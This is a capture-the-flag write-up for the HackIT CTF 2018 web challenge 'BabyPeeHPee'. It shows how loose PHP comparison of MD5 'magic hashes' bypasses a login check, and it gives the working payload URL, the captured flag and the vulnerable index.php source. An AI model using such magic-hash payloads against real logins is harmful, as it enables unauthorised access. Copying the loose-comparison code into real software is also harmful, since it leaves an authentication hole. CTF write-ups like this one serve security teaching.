# HackIT CTF 2018

**Sat, 08 Sept. 2018, 08:00 UTC — Mon, 10 Sept. 2018, 08:00 UTC**
**ctf.hackit.ua**

# Write-Up

## Web Challenges - BabyPeeHPee


## Haboob Team

- Challenge Description

> Prove you are not a baby:
> http://185.168.130.148/

- Solution

This is a php challenge vulnerable to Type Juggling.

When you open the link you will be prompt with two links to access. The first link will show the source code of index.php and the second one will download (auth.so) that containing a php function.

After setting up the environment locally for testing/debugging the php file, we observed that auth function will return the value as it is passed in the GET parameter of the second argument + any random 32 character (12345678912345678912345678912345XXXXXXX).

Now that we have a control over the $_GET['p'] parameter we can pass two different GET parameter but when we compare them after applying MD5 funtion the result will return TRUE. The two parameters will be as followed :

```
(?u=240610708&p=12345678912345678912345678912345QNKCDZO)
```

md5 of the first parameter (u) will be **(0e462097431906509019562988736854)** and the second parameter (p) will be **(0e830400451993494058024219903391)**.

Therefore, when we compare the two hashed parameters the result will be TRUE.

Usage:

```
http://185.168.130.148/?u=240610708&p=12345678912345678912345678912345QNKCDZO

you are a good boy here is your flag : flag{here_is_a_warmup_chal_for_u_baby_}
```

index.php

```
<?php

include 'flag.php';

$username = substr($_GET['u'],0,25);

$password = substr($_GET['p'],0,45);

echo "Hello <b>Baby:</b><br>You may need <a href=\"/?source\">this</a> and/or <a href=\"/auth.so\">this</a><br>";

if (isset($_GET['source'])){

show_source(__FILE__);

}

$digest = auth($username,$password);
```

```
if (md5($username) == md5($digest)  and $digest !== $username){

echo "you are a good boy here is your flag : <b>$flag</b>";

}

else {

echo "you are not a good boy so  no flag for you :(";

}
```

- References:

https://stackoverflow.com/questions/40361567/manipulate-bypass-md5-in-php